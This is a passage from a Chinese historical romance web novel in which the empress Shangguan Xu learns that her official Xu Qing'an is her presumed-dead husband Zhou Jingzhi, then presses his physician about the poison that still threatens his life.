这三日他与上官栩都只见了一面,便是在那夜上官栩被人救起后,他急忙确保她无性命之虞。 现下,他方才从皇城出来到了城中几处可疑的地方探查,结果刚下马车就听见两声熟悉且急迫的青年声音。 “七郎!” 本因长时间的劳累而有些魂不守舍的上官栎在见到那青年的那一刻瞬间回了神。 苏尚向他奔来。 “明樾兄,你,快,快救救殿下!” “阿栩怎么了!” 苏尚气息不匀,上官栎扶住他的双肩急切地望着他,于这一刻起上官栎身上的疲累荡然无存。 “可能有人要对殿下不利……”苏尚眼眶泛红,瞳目微微震颤地望着上官栎,缓缓吐声,“陛下找到了。” 上官栎一怔。 那日,上官栎在与苏尚同去曲江池畔的路上,一大批金吾卫突然赶到将他拦下,而时任金吾卫将军的薛弘骑马而出,以及在他之后姗姗来迟的当朝宰相,苏望。 只一瞬,上官栎便隐约意识到了自上巳夜开始,发生的这一切因何而起。 果然,在马车被拦下之后,薛弘并未阻拦他继续去往曲江,反而带着他一路往曲江区。 那夜,乌云遍天,月亮被完全遮盖,上官栎在一众禁军举着火把的护送下,到了曲江边,见到了满是伤痕的“皇帝”,看到了那面容上、身体各处上都留满了刀剑伤口的尸身。 他注目在原地,浑身如被泥石灌满般久久不能动弹。 等他终于回了些神后又转头望向和他一起被押到曲江边的苏尚,苏尚眸中蓄泪,似同样被这样的场景震撼,可是他看见苏尚口中喃喃的嘴型—— “殿下。” 后来,上官栎随苏望回了府,二人在书房内单独说了什么,苏尚不知道,只知道五日过后,上官栎再次从房中出来时,他的那身君子气度颓然不见了。 而苏尚也没有去问他到底发生了什么,只在他离开了之后单独去寻了苏望。 “看来他已经答应了,父亲您应该也得偿所愿了,那答应我的事,您可就别忘了。”进入房中坐下后,苏尚直接开门见山道。 苏望也不应他的态度而气恼,仍是和气温声地应道:“嗯,为父自是会对你守诺,然而薛弘那边……” “我知道父亲也要安他的心,所以那件事我不阻拦父亲。”苏尚打断苏望的话说道,又转过头向苏望看去,“然而父亲也得答应我一件事——那药让我亲自喂给她。” “这……” “父亲说会守诺于我,然而却一而再再而三地与我增添条件,先是说不放心权柄在外要上官氏一族的权力,又是说要薛弘的心,要以毒药牵制住她和上官明樾,儿子实在没有信心觉得父亲之后不会再有其它要求或者突如其来的想法” “所以那药我亲自让人查验,且就此之后由我保管,您可以安排人在我身边看着我,哪怕最后行事的时候,我也可以当着那个人的面喂给她,但是药必须保管在我这里直至最后。” 说完,苏尚眉头微扬,软下语气道:“父亲可能满足我?” 苏望沉吟片刻,应了好。 外面的雨越下越大,苏尚自宫里回了 府之后便一直待在了自己的卧房中,他对着手中把玩的瓷瓶出神,感受着里面那颗药丸的晃动。 他怎么可能对她下毒呢?当年他可费了不少心思才将这药丸从自己父亲安插的人眼下换出来。 然而他又觉得让她以为她自己中了毒也并非是什么坏事,以前是为了钳住上官栎,现在又何尝不是在钳制她?左右没有真的对她下毒,但是如果能够借此让她安下心来好生与他相处又何尝不是好事? —— 雨声越来越大,期间还伴随着隐闷的轰隆雷声,泥土气息从各路缝隙中漫入殿内,和里面的熏起的芍药花香混杂在一起。 “你还有什么要对我说的么?” 那话之后徐卿安脚下顿住,背对她的眼眸骤然一抬。 而他身后还有她的声音问道:“我与你说了这么多,你便没有什么想与我说的?” 徐卿安转过身,视线慢慢与她相接:“娘娘刚才对于神策军的打算,臣认为可行,故而没有其它要补充的。” 上官栩扬唇笑了下,上前一步,抬眼饶有意趣地看着他。 “除对神策军的事以外呢?” “何事?” 见他完全不解的样子,上官栩垂了眸,不知是何情绪地笑了下,又转过身向旁侧走开几步。 她将背影示于他,边走边道:“你说,如果我真中了毒我现下应该如何做选择?是委曲求全,还是如我刚才说的那样不死不休?” 徐卿安倏然握紧拳。 他其实并非不知道她最先问的是什么,他本想装做不知地避而不谈却没想到她竟直接将问题抛了出来。 他隐隐感觉到了什么。 徐卿安看似轻松笑道:“何必做这样的假设?娘娘如今的局势明朗,还是应当多考虑接下来的事怎么做为好,想这些事情只会途伤娘娘心神。” 上官栩:“可是我就是想知道答案啊,若是我想不通便会一直停不下来去想。”她转回身歪头问他,“你说这该如何是好?” “那便多想想其它事,将注意力从这上面移开。” “可人非草木,焉能对一些所思所想之事说放下就放下。” 徐卿安静静望她几息:“娘娘就非要答案么?” 上官栩颔首:“实在有些想不通。” “那臣说了娘娘便能相通了?” “当局者迷旁观者清,你的话便可当作是对我的提点吧。” “那就先活下去。” 徐卿安再道:“不管如何,都先活下去,活下去就有希望,鱼死网破从来不是好的结局。” 上官栩再度垂下眸,沉吟道:“那若中毒的人是你,你也会想着先活下去么?” “对,”徐卿安一目不错地望着几步之外的女郎,眸中光影点点,无比坦诚道,“若中毒的人是我,我也会先想着活下去,只有活下去我才有更多的选择的机会,才会给我在意的人更好更多地可能。” 话落之后,她与他相视片刻,笑了笑:“你说得对,也算是解答了我的疑惑。” 她再次转过身背向他,往前再行了几步:“你刚才说我对神策军的打算你觉得可行,那我想之后的事便都交由你来做吧,到时神策军的事一旦处理妥当,那京城就完全在我们的掌控之中,届时你便去江南稳住那群世家,确保苏氏不会在地方掀起波澜。” “我去江南?!”徐卿安当下就质问道。 “当然。”上官栩转过身从容回他,甚至反问,“难道你没想过将神策军安置妥当后下一步要做什么?苏望在地方势大,纵是京城控制住了……” “就算他地方势大又何须我去江南□□?”没等上官栩说完话徐卿安就发问道,说着还往她的方向上前几步,又于她身前停下,目光往下,居高临下地看着她,“且不说这次江南世家的变动,有多少新势力已诚心投效了娘娘,就是之前和娘娘一起谋划的让江南水运的格局发生变化一事,江南的形势也不至于失控。” “那你就去其它地方。”上官栩无动于衷,“你也知道苏望树大根深,之前他借水运揽财给了多少地方官员好处,而他倒台后那些人便也正是要清算的。” “所以你就把这事交给我?” “其它人我信不过啊。” “那你打算让我在外多久?” 上官栩认真思索:“此事需得一鼓作气,不可半途而废。” “那便是从南至北,从西往东,整个大晋上下所有与苏氏相关的残党都要由我来清算。”徐卿安咬牙克制道,“然而此事非短时就能达成。” 上官栩平静无比:“我知道,但是晏容……”她无视他潜藏的抗拒,抬手柔情地抚上他的脸颊,“你不是想当宰相么?我这是在帮你啊,只要到时你在外历练几年,回来之后你便可名正言顺地拜相。” “我如今已是中书侍郎,只待苏氏一垮,我以襄助娘娘之功亦可拜相。” “然而群臣不会服你。” “上官栩!”徐卿安再难克制,“你就非要让我离开你?” “我也再说一遍,我是在帮你。”上官栩轻笑一声,“你也真是奇怪,说要与我共谋事的是你,说要登青云的也是你,结果到头来不管我怎么说,你自己都不愿意,我也真是不解你这样抵触到底是为什么?” “因为我爱你!” 霎时间,徐卿安红着眼高升喊出来,上官栩一怔,而徐卿安呼吸颤抖,努力控了一瞬,缓和下来再轻声道:“因为我爱你,我不想……” “那你就应该听我的安排去啊。”不过一瞬,上官栩的神情再次恢复成淡漠模样,除却眼底的微红,没有任何异样,“你既然对我这么情真意切那你为什么不愿意去呢?难道你不知道,此事对你而言于仕途有利,对我而言在掌控局势上亦是有好处?” 徐卿安怔住。 而她之后说出的话更像在刻意扎他心一般:“还是说你到底觉得你我只是一时偷欢,不舍得京城荣华啊?” 徐卿安诧异得难以置信,张口许久都说不出话来。 徐卿安望着她微有戏谑的眸子,忽而垂眸如自嘲般笑一下,再抬眼时眸底变得深邃还带上了冷意。 上官栩因他神色变化心底瞬间一怵,笑意敛下。 徐卿安迈出步子,唇角挑起一抹不明所以的笑意,踩着脚步将她步步逼退。 “你真的是这样想的?”他冷下声问。 上官栩心中打起鼓:“自然。” 说话间她后背已经触到墙上,她退无可退只能停住,而他已俯身,将唇贴到了她的耳畔。 “那娘娘便就这样想吧,反正能与娘娘相处,不管是一时偷欢,还是长久缠绵,我都沉醉其中难以自拔。而娘娘,您也别忘了,您知道臣身边有哪些能人异士,所以您也应当知道,臣若不想离开京城那就无人可让臣离开。” “青云志臣要,与娘娘的欢愉,臣也要,臣就偏要守在娘娘身边,娘娘又能如何呢?” 温热的气息拂过,上官栩冷声:“那我就杀了你。” 徐卿安瞬间僵怔在原地。 他大脑一片空白,又侧过脸去寻她的目光,仿佛想从中找到刚才那句话是他幻听的证据。 可是她对上他投来的目光,淡然再道:“既无真情全是假意,苏望倒台之后你便是我最大的劲敌,那时我便会杀了你。” “嗯!”上官栩闷哼一声,锁骨一下被按住,整个人被完全禁锢在他的手掌和墙壁间,且他力道很重,眼中的冷戾也比任何时候都要强烈,她匆忙大喊,“你做什么?你疯了!” “对,我疯了!”他将在她摁在墙上。 她怎么能说这样的话!她分明已经…… 他的拇指抚在她的颈部,她在他的掌下脆弱得就像一只小猫,可是现在狼狈却分明是他。 “你怎么可以这样……” 他带着泛红的眼眶,分明是在质问,模样却如被抛弃般卑微:“你怎么可以这样!” “你、你知道对不对?你知道却还故意要说这样的话来激我对不对?” “知道什么?”她在他身影笼罩下平淡回他。 徐卿安颤着呼吸笑了笑。 而他望着她,看透她眼底的坚决,颓然地松开手,垂下眸,终是如败者道:“说吧,你想听什么……” 她望着他,眼眶跟着他的动作发酸:“告诉我,你到底是谁?平陵里躺着的到底是谁?” “站在我眼前的这个人到底是谁?” 第79章 这一夜发生了太多的事情,多到已让人有些疲累,有些恍惚,甚至有些不堪惊扰,稍有触动便失控、失乱。 徐卿安撑在墙上的手臂发着颤,而他眼尾眼底更是泛红一片,他弓着身,双眼位置甚至比她的还要低一些。 “你不是已经知道了么?” “可我想听你亲口说出来。” 他声音喑哑含颤,她目有盼切微光。 “是我……”他唇边挤出笑,迎着她的目光缓缓吐字,“是周景知。” 瞬间,一颗硕大的泪珠从上官栩眼中滑落。 她看着眼前这张熟悉且有陌生的脸,心中止不住泛起一阵痛意,而那痛意就伴随着他刚说的那句话让她迟迟开不了口。 周景知将原本搭于她肩颈上的手慢慢抬起,落到她脸颊上,手指轻轻地抚过,拭去她的泪珠。 而他就像还处在刚才那片巨大的惶恐中,后怕萦绕在他心头,他仍不住说道:“从我回到京城到现在,我曾无数次想与你袒露身份,然而却总是因为各种原因,让我不得不将这想法一再延后……对不起,是我不该隐瞒你。” 他眸光闪烁,眼底亦是一片湿润,他的手指从她脸颊下方缓缓往上,一路擦过她眼下的泪痕,他怜惜无比,亦卑微无比:“我是周景知的时候爱你,我是徐卿安的时候也爱你,我们已经分离过一次,好不容易到现在,我们不能再放手了……” “这一次不要再把我扔出去好不好?” 他抬起眼向她看去。 可上官栩眼中蓄满泪水,眼前早已模糊一片。 而她知他看来,还是想将他看清。 “傻子。” 她伸手揽住他的脖颈,让他压来的同时仰颈向前,紧紧吻住他的唇。 怎么可能再将你扔出去? 那一夜,那一段日子,你到底经历了什么?你模样大变,就连气质秉性也变得不能让我一下将你认出,一想到你可能遭遇过的我连心痛都来不及,又如何舍得再将你扔出去? 而我自己,就算只依从我的心,依从我想要的,我也不会将你扔出去。 “那话是我说重了。”她贴着他的唇,寻着间隙喃喃,“以后不会了。” 因这话,他气息忽然一颤,本自然垂落搭放在她肩上的手陡然扣紧她,另一只手又迅速往下将她全身搂入怀中。 这是换他来吻她。 只一瞬间,上官栩后背离开墙壁,被一下箍入怀中,唇上、身上都被施了力道,然而强势却不失温柔。 也就于她将双手抵于他肩前的那一刻,在她没有任何阻隔地重新感受到故人气息的那一刻,那些缠绕在她梦境中迟迟无法弥补的遗憾,终于圆满了。 外面雨声哗哗,她闭着眼,由心地回应着他炽热的亲吻,然而冰凉滑至唇畔,舌尖咸甜,分不清是他的泪还是什么她的泪…… —— 那雨就像要下不尽一般,从前夜一直下到了后半夜。 上官栩也就一直枕在他的腿上。 “雨下得太大了,你走不了了。”她闭着眼,神色安然又微微含笑地任由他抚着鬓边的碎发。 他目光尽数落在她脸颊上,珍视地将她每一处肌肤收入眼底:“不走了,不下雨也不走了。” 然而他也好奇,问道:“你是如何发现是我的?” “不是你自己告诉我的么?” “我告诉你的?” 上官栩笑了笑,转过头面朝向他:“那夜,你在侧室里的那番表现实在与寻常相差太多,让我不得不多想。” “尤其是后来几日,你对我那般温声细语,嘘寒问暖,仿佛生怕哪处疏忽了会让我不适,也许是这份在意太过真切,那时你看我的眼神就像是恨不得要把你整颗心剖出来给我看一样,又炽热又纯粹,可是你说,这世间上能对我这般真心相待的又有几人呢?” “还有,你知道么?”她抬手抚上他的脸颊,“那期间你好多次都漏了破绽,那些也许被你刻意隐藏掉的习惯都曾毫无保留地展现在了我的面前,我就是想不看到也难啊。” 她如打趣地说道:“你也太不会伪装了。” “原来如此。”他想着她的话,声音低低地应。 “然而尽管如此,你也让我苦猜了许久。”她看着他垂下的眼眸又蓦地寞声道。 他再度抬眼来看她。 她眸光亦有了闪烁,又似掺杂着苦意强笑道:“所以以后别让我再猜了好不好?” 他握住她抚在他脸颊上手掌,回笑着应了声:“好。以后不会了,再也不会了。” 他看见她眼角沁出来的泪水,另一只从她发上绕下最终捧停于她的眼角,他拇指轻轻揉上去,无声地将那眼泪收入掌心中,拇指向下擦过,除了掌心感受到的那抹凉意,他其实看不到她泪水划过的任何痕迹。 他想她应该也不想让他看到,现在这个时候总该是高兴更多一些的。 他便说了其它:“不过你想法也确实大胆,世间相像爱之人何其之多,你怎么就敢凭借那些就认为是我回来了,毕竟在世人眼中我已经……” 上官栩一下请按住了他的唇。 她慢慢坐起身来,柔软怜惜的目光落在他脸上几许后方放下手道:“有些话不必说,如今我们都好好的不是么?” 他了然地点了点头。 上官栩便一笑,垂眸回答起了他原本的问题:“其实我最初也觉得自己疯了,哪怕所有表现出来的细节我都能说服自己对上,但是那最后一关我却是无论如何都越不过去的,而且我也想不通,如果真的是你回来了你为何不愿意与我相认呢?我的景哥哥是应当要与我相认的呀。” 她向他看去,他垂下了眼。 她便继续道:“不过这些问题,就在我今夜回到上官府后,从我阿兄对我说的那些话里,我找到了答案。” “他告诉我,当年他用了我的印玺去配合苏望做过许多事,而那年苏望苏望做得最多的就是铲除异己,残害了许多无辜之人,所以我想或许你就是因此误会了什么,误会了我……” “栩儿……” 他叫住了她,目有痛色,可是她笑了笑,如常地继续道:“又在此之前,你曾告诉过我你是如何帮阿筝躲过京兆府的搜查,用死尸偷梁换柱的。” “你记得吗,那时你告诉我,你身边的那位荀大夫对那尸体的容颜做了修饰,以此让本就身形样貌相似的两人更难分辨,也是因为你这句话让我想到,会不会我心中的那个人也是这样回来了?” “毕竟当年,谁都没有看清那穿着龙袍到底是谁不是么?” 他回想起当年的境况,说不出情绪如何复杂地轻声承认:“对,当初我从曲江中逃出来时便意识到,当时局势非我所能掌控了,我没有办法,亦不能回宫,故而只能选择一个身形与我相近的死士代替我,而那时事态紧急,能来得及做的就是给那尸体换上我的衣物,再毁了他的容貌。” “曲江池下,尖石遍布,苏望派来的杀手亦是下手狠辣,所以那样浑身遍布伤痕的陛下,他不会怀疑的,而他也只想要一个死去的皇帝而已。” 上官栩:“所以后来你稳定下来便开始查当年之事的始末,查所有参与其中的人,又直到你备足一切,回到了京中。” 他轻嗯。 “可是后来呢?”她追问,“为什么那夜之后,你还是不愿与我相认?哪怕我后面几次 试探,你都仍不肯松口,你可是还有什么没告诉我的事?” 他星眸闪了闪,唇口张了张。 上官栩轻声:“你刚才答应了以后都不让我再猜了。” 他垂了眸,道:“我花了三年的时间才回京城,非只是因为要培养自己的势力,要将一切都布局好,还是因为我的身体……” “你身体怎么了?!” “你记得当年船上的那个刺客么?他的匕首刺中了我,而那把刺中我的匕首上亦涂满了可要人性命的毒药。” “而当年我伤势太重,京城又不能久留,所以荀子阳为了保住我的性命只能先一步一步来——先养外伤,再解余毒。” 许是怕气氛太过沉重,说到这里时他笑了笑,分明是不好的遭遇他却说得轻松:“但是也因此耽误了最佳的解毒时机,所以我在五岩山上用了近三年时间拔毒,而现在情况的确大好了,却还是有极少部分余毒残留在我体内,所以我想的是等到我余毒全部拔尽那天再与你相认,让一个康健完好的周景知与你相认。” 上官栩拧起了眉。 今夜分明该是喜悦的,可是她听了这些话心却是痛了一次又一次。 但他对她笑了笑:“其实那些日子还好,整日吃、睡、玩,倒是我以前在京城里从来没有过的清闲日子。” 上官栩知他是在宽慰,便也配合着嗤笑道:“你这话说得,就像以前亏待了你一样。” 他忍笑,又压着酸故作回忆:“嗯……还是有些的吧,当年那颗酸杏子还是挺酸的。” 上官栩扬眉:“喂你吃了颗酸杏你现在都记得!” “刻骨铭心,不敢忘记。” “阔别三年,你当真学坏不少。” 二人玩笑又打闹,床帐被扬得一阵又一阵,直到他一下将她揽入怀中。 他的唇擦过她的额:“不过那些酸都是以前的事,从此以为都是另一番滋味了。” 上官栩靠于他的怀中,轻声应他,又想,以后便都该是甜的了。 —— 张凡又在宫里住了快十日,整日太医给他细致问诊,膳房为他备着高汤养补,各种周到的照料,让他都有些不好意思了。 这日,徐卿安再来看他时,他又提出了他想要出宫的事。 “张公是觉得近日哪里不够周全,怎么一直都想着出宫的事?”周景知对张凡的提议没有拒绝亦没有同意,只一味地关切道。 “没有没有,”张凡连连否认,在宫里的这段日子他被侍奉得比以往任何时候都要好,他也对主君更生感激,况且他本就腿上不便,就算出了宫也并不能去哪儿,“只是老臣觉得一只呆在宫里不妥,既麻烦了郎君,又不太合礼制。” 周景知已经开始将汤盅里的汤舀到碗中:“没有什么麻烦的,您是我的老师,我照料您本就应当的是,至于礼制,古人史书上亦有不少朝臣留宿宫廷的例子,张公又是我大晋忠良之臣,这样的优遇您本就受得起。” 张凡张口还想说些什么,却被周景知抢先道:“最重要的是,您的腿还没康复,而太医院的大夫和药材又都是大晋最好的,所以我还是想让您在这里多治疗一段时间。” 他将汤碗向张凡推去些,恳切道:“而且现在局势您也知道,宫里比外面安全不少,老师就留下来吧。” 张凡看着那冒着热气的高汤,虽无奈但也再次应了下来。 —— 夜里,立政殿中烛火长久未熄。 杂乱的呼吸交错声此起彼伏,床帐上映照的身影时隐时现,肌肤触碰,激起一阵战栗,泛起一片灼烫。 那温度烫得人呼吸发颤,烫得茭白的细指不得不拧住宽大的臂膀。 她满目朦胧,他肩下生汗,偏二人又吻在一起,缠绵,升高温度。 半夜,方才平息。 床帐被拉起又放下,踩过一地的衣物后,周景知回到榻上给她喂了水,又揽着她躺下。 “累了便睡吧。” 这已不是这段日子来他第一次说这样的话。 自那夜之后,每日夜里,她的床帐内便都多了一个人,而她月信结束后便是更加愈发不可收拾起来。 起初她还能理解他是因二人重逢而情难自已,可是后来她便有些腹诽了。 这些夜里他不仅在那事上缠她缠得厉害,他还总执着于在做那事时让她唤他的名字。 起初她还能甘之如饴地配合,就将那一声景哥哥落在他的耳中,可是后来他提的次数多了,她便有些不理解了。 而她还更搞不懂的是,她每次唤她,情至深处时,他便总会带着泛红眼尾,无声地落下泪。 然后便是更大的攻势,再周而复始,直至夜半方休。 今夜亦如前几夜,他再度躺下之后会揽着她的背细细安抚她,或者说这本就是以前他对她的习惯。 只是今夜她并没有睡,而是哑着声音开了口:“听说今天张公又提了想出宫的事?” “嗯,但是我想着他的身体,还是建议他留了下来。”说话间,他安抚的动作未停,甚至夜间的寝殿安静,就连细微的摩挲声都能听得清晰。 上官栩无力地一笑:“我看你非是为他的身体而让他留下来。” “那我是为什么?” 一俯一仰间,二人的视线相接在一起。 “你说为什么?” 他笑:“我不知道。” 上官栩的眼神便变得似恨似嗔。 他笑意却更甚,又将她揽得更紧:“我是有私心,就想与你多温存片刻,不然以后我又能寻什么理由留下来呢?” “你这算不算见色忘友?” “你我是拜过天地、昭告过天下的夫妻,他亦是我尊敬的良师。” “所以你就想说一方不算色,另一方也不算友?”她轻笑一声,“还说你没学坏,也不知这些你到底是跟谁学的,都会说歪理钻空子了。” “你真不知道?” 上官栩见他这次竟没否认,还反问她,不由得也呛了回去:“我如何能知道?那几年我又在你身边。” 他有理有据:“可除那几年以外,你都在啊。” 他眸色别有深意,再问了一遍:“你真不知道我向谁学的?” 第80章 上官栩当真被他的话问得云里雾里:“我真不知道,难不成那人我认识?” 周景知忍笑:“你不仅知道,你还很熟悉。” 上官栩便更不解。 周景知:“远在天边,近在眼前。” 上官栩瞬间瞠大眼,他说的竟然是她! “我怎么教坏你了?”她不甘地嗔他。 周景知温声:“什么教不教坏的,我可没承认我变坏了,我只说对于你提到的‘歪理钻空’是向你学习的,你自己想想当初的你是如何行事的?” 上官栩眉头跳一下,想起以前那些欢脱时刻,说话也不觉绕起弯来:“我那叫灵活变通。” 周景知从善如流:“那我也是如此。” 上官栩瞧着他略有些无赖的模样轻笑了声,却又闭了眼向他怀中再靠了靠。 这些年两个人都发生了变化,不止他与以往不一样了,就连她也难有当年那个上官栩的恣意心性了,且想着这些年来经历的这些事情,她确也觉得这些变化是好的,不是说于性情上是好的,而是在保护自己上是好的。 当年的他太过温仁,他若一直保持着当时的心性,他只会受到更多的折磨,不只是在与苏望的斗争上,还在与自己的自洽上。 “在想什么?” 似心绪被察觉,她额上悠然传来一句温声。 她扬起脸看他:“在想这些年你是怎么度过的,在想……” 她目光落在他脸颊的轮廓上,在想利器削骨,你到底是怎样熬过那钻心的疼的。 痛苦的事情已经过去了,若再度提起难免会让痛意重现,而他也定然是不会将那些痛表现出来的,只会自己在心中默默消解,所以后面的话 她没有再问。 他握住她的手,依旧说得轻松道:“其实,最初的一些时间确实有些难熬,但是到了后面就确实像我之前告诉过你的那样整日不过吃喝,悠闲自在。你没去过五岩山,是不知道山中风土到底有多养人。” “那我以后得挑时间去了。” “好。” “你带我去。” “那是自然。” 二人便再笑,只是想起他体内还未去的余毒,上官栩便始终觉得心中有块石头堵着,放不下。 “你的身体……” “你放心。”在她话还未说尽时,他便温声接过话,“虽还未完全好,但已没有大好,只待今年子阳的师父备好药材后,在最后为我拔一次毒就好了。” 然而上官栩依旧担忧:“可是你之前吐的那两次血……” 周景知眸光闪了闪,他不想让她过多担心便有意隐藏他的身体状况,然而却忘了之前在她面前两次失态。 那是实打实的让她看见了的。 上官栩隐约见他沉吟了几息,然后就见他神色泛起有些难意,她立时便担忧起来。 他抬了抬眼,对她看了又看,吞吞吐吐道:“那其实是我故意的。” 上官栩愕然:“什么?” 他便如做了错事般,神态伏低做小起来:“当时为了得你信任,是我故意在你拿给我的药里做了手脚,这才有了吐血的假象,至于第二次嘛,是我被人暗算后所中的那药和我体内的余毒有些相冲,这才有了那一次吐血,然而也正是那次相冲,竟将我体内的余毒又冲去不少,也算因祸得福了。” “真的么?”上官栩半信半疑。 “当然。”他干脆地回应。 上官栩不再追问:“那你之后便好生养身体吧,朝上的事我来就好。” 周景知笑:“这般娇养我,那我的幸臣的身份可是坐得更实了。” “难道不是?”上官栩戏谑,“还是说你放不下面子?” 周景知扬眉:“我是觉得我吃亏了。分明是夫妻,却做了幸臣,这名分上可差了一档。” 说完,他也不再玩笑,而是正色道:“当真不必如此忧心我,你虽未言说,但我知道,这些年来你亦受了不少苦,而如今你我相逢,我焉能再让你为我忧心?” “这段时日的美好当真是我这几年来想都不敢想的,真的到现在为止我都害怕是场梦,所以我现在想的就是抓紧你的手,不管要做什么,要遭遇什么,我们都要一起,都要度过。” “而且,你真的没什么好担忧的”他眸光真诚,“也有了好几夜了,你不都体验到了么?” 上官栩惊震,然后瞬间红了脸:“你、你在说什么!” 他翻身而起,撑在她上方:“今夜这么精神,看来还没体验够。” 见他隐有起势,她慌忙去推他:“可以了,我信了!我信了!” 他停在了半路:“信了就好。”可是他说话时又丝毫没有平躺下去的动作,果然下一刻他就道,“然而你激都激起来了便要负责。” 话落,他扯了锦被往上再盖了些。 上官栩抗拒不得,只能被他带入。 —— 神策军行营节度使就要入京,这两日周景知一直准备着和节度使周旋的事宜,张凡这边上官栩便替他多去看了几次。 然而上官栩来张凡这里,想做的却不止这一件事。 她还要见荀阳。 那日他与她说的关于他身体状况的话,她始终没有相信,虽然她期间并没有再提,但也只是因为她知道她再如何问他也不会多说,那她便不如来问旁人。 张凡对他的身体状况所了解的,也不过只停留在那年上巳夜之后的一段时日,后来他被送去五岩山之后,张凡便并对他的身体状况了解得不多了,就算他之后回了京,他也只对张凡说一切都好。 所以上官栩便只能再换一个人问,而这次她喊下荀阳,不再打算再用以往的法子去问答案,而是要剖出答案。 “不知娘娘留草民下来是何事要吩咐草民。” 张凡所住偏殿的外殿,上官栩与荀阳分坐在一罗汉榻的两侧,在开始之前她亦为他倒了茶。 “他将那几年的事都与我说了,所以一直以来我都想寻机会感谢荀大夫,也想感谢你的师父,然而最近事态复杂,须神医也并不在京,这事便也就一直耽搁了下来。”上官栩将茶盏推向了荀阳。 荀阳颔首,恭敬地接过:“娘娘何须如此,实在是折煞草民了。” 上官栩浅笑:“说到见外,我倒觉得荀大夫更见外些,你与他早就是多年好友,你在他面前都能言辞行为如常,又何必在我面前以草民相称呢?不如你我也像寻常朋友一样聊天就好。” 荀阳局促但也实在道:“我这不是和娘娘不太熟悉么。” 上官栩顿了顿,又点头:“荀大夫说的这话在理。” 简短寒暄后,便是上官栩要切入的正题了,她道:“我今日请荀大夫相叙,是想问一问荀大夫,我该在哪些方面替他注意,又该如何去帮他调理身子,让他能够更长久地陪伴我。” 荀阳稍有惊讶道:“长久二字如何说?” 上官栩便垂了眸:“自然是因为他体内的余毒了。他曾告诉过我,他之前不想与我相认,就是因为考虑到他体内余毒对他身体的影响,他担心他与我相认后不能长久地陪伴我,以至于失而复得的喜悦后面是更令人悲痛的生死离别。” “他也说过这几年来,他一直都在解毒,只是成效都不太好,又加上这段时间以来他身体一直有着不适,所以我也因此跟着生了担忧,我就怕他……” 上官栩抬眼向荀阳看去。 荀阳:“他近日身子又有不适了?那他怎么不来找我?” 上官栩顺势问:“他身子不适的频率是不是很频繁?”又为了不让荀阳查出端倪,继续道,“许是就是因为太过频繁,他便觉得习以为常了吧,所以我劝了他几次来找你他都说不用,说都只是些小问题,忍过去就好了。” “胡闹!什么忍过去就好了!”荀阳当即没忍住,“现下本就是他要第四次拔毒的关键时刻,他怎能说不管就不管?难不成就真的觉得可以破罐破摔了!他近日是什么症状?可是又是鼻衄?” “第四次拔毒?破罐破摔?鼻衄?”上官栩迅速抓住关键词,“怎么就破罐破摔了?怎么就拔了三次毒都没拔尽?他身体到底现下是什么情况?” 她心如蚁噬道:“当真是油尽灯枯之象?” 荀阳怔忡,立时明白过来自己被套话了。 可是已经晚了,上官栩已经从中得到了答案,虽然模糊,但大致的方向她却已经清晰了。 她便低着声音以此竭力掩盖声音的颤抖:“所以他是真的活不长了?” 外殿里安静了好久,若非有茶香飘散,时浓时淡,还以为时间都静止了一般。 片刻后,荀阳才在上官栩的注视下开了口:“也不是说就一定活不长,只要他体内的毒拔尽,便可如常人一样,有长寿的机会。然而……” “然而什么?”上官栩微红了眼眶。 荀阳不忍地向她看去:“然而刚才娘娘也问了,他为何就拔了三次毒都没拔尽,这第四的一次就一定能确保能拔净了么?” 上官栩小心翼翼:“这是最后一次了么?” 荀阳轻声:“非是拔毒的最 后一次,而是他可能所能坚持到的最后一次。” “娘娘可知,他第一次拔毒和第二次拔毒的间隔时间是多久?第二次和第三次又是多久?而截止如今,又与第三次隔了多久?” 荀阳迎上上官栩恐惧和希冀混杂在一起的目光,答道:“分别是三个月,一年和三年。” 上官栩喃声:“每一次的间隔都在拉大。” 荀阳:“因为每一次的拔毒都对他自身损耗极大,每多进行一次,所需修养的时间就更长,而这次之后,若还不成功,兴许下一次就是七八之年。” “然而,拔毒的损伤加上余毒的侵蚀,他可能根本撑不到七八年之后。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 阿筝近日越来越多梦,梦里尽是她以前的生活片段。 “阿姐,阿姐!” 除夕夜,一个垂髫儿童坐在他父亲的臂膀上被抱入院中,刚一被放下地,他便张开双臂向原本在庭院中等他的女郎奔去。 “志儿!” 姚筝见那团小小的身影迈着他能跨出的最大步子向她奔来,笑意止都止不住的挂起,就又蹲下身子,迎接了他的拥抱。 正是过年时节,一家四口难得一聚,便一起在厨房包了饺子。 期间姚筝听到阿爹阿娘的对话。 “明日便就要走么?” “嗯,近几日王爷身体愈发不好了,所以王府内外各处便都不敢松懈。” “那志儿他……” “志儿也要去,世子那边需要他陪着。” 姚筝闻言垂首,一直沉默着。 印象中,因为父亲得赵王器重和弟弟与赵王世子年纪相仿的原因,小姚志在刚满三岁的时候便被接入王府,与赵王世子同起居了。 这不管是于她弟弟而言,还是她家人而言自然都是好事,然而也因此,一家人能够团聚的时间一年却也就年节这几日了,而这一年又因为赵王沉疴的原因,一家人在春节这样的重要时刻里竟也只能聚这一夜,一起守个岁而已。 而正当姚筝感伤之际,突然厨房内响起了孩童尖锐的啼哭声——小姚志被正在烧水的铁锅烫到了。 一家人第一时间赶去查看,却见他小臂上已然烫出一片红痕。 梦醒之后,阿筝清晰地记得,那天夜里阿娘问了阿爹,能否将弟弟留下来观察几日,待养好了伤再回王府。 然而阿爹却也无奈痛心地拒绝了,只说王府中有更好的医师,就算去到王府也能得到更好治疗。 而后一日,弟弟由阿爹带着离开后,阿筝就再未见到过弟弟,后来赵王逝世,又不久皇帝驾崩,赵王世子被选为皇嗣入继昭帝血脉,被护送入京承继大统,至此赵王王爵因无后嗣而被封存。 而身为赵王亲信的父亲,也在王爵封存后选择了隐世。 和父母一起离开平州那天,一家三口坐在马车里,阿筝曾向父亲问了句:“阿爹,志儿呢?” 一家四口唯独少了志儿。 可是阿爹告诉她,志儿有了更好的去处,不用担心。 再后来,阿筝想起的就是那场残忍的灭门场景了,血流遍地,如江如河。 因为近日接连不断的梦魇和那些慢慢回想起来而不断浮现在脑海中的记忆,阿筝有些心绪难平,她坐在院子里的凉亭中发呆。 不多久,她听见了院子里的其它声音。 “徐大人!”她回神看过去,看清来人后在喊出声音的同时站了起来。 刚从外回来的周景知本见她一人待在那儿出神,便没有想去打扰,谁知竟被她主动喊下。 周景知站在廊下,转过身面向她,方准备开口问她有何事时便听她说道:“我有事想与徐大人说。” —— 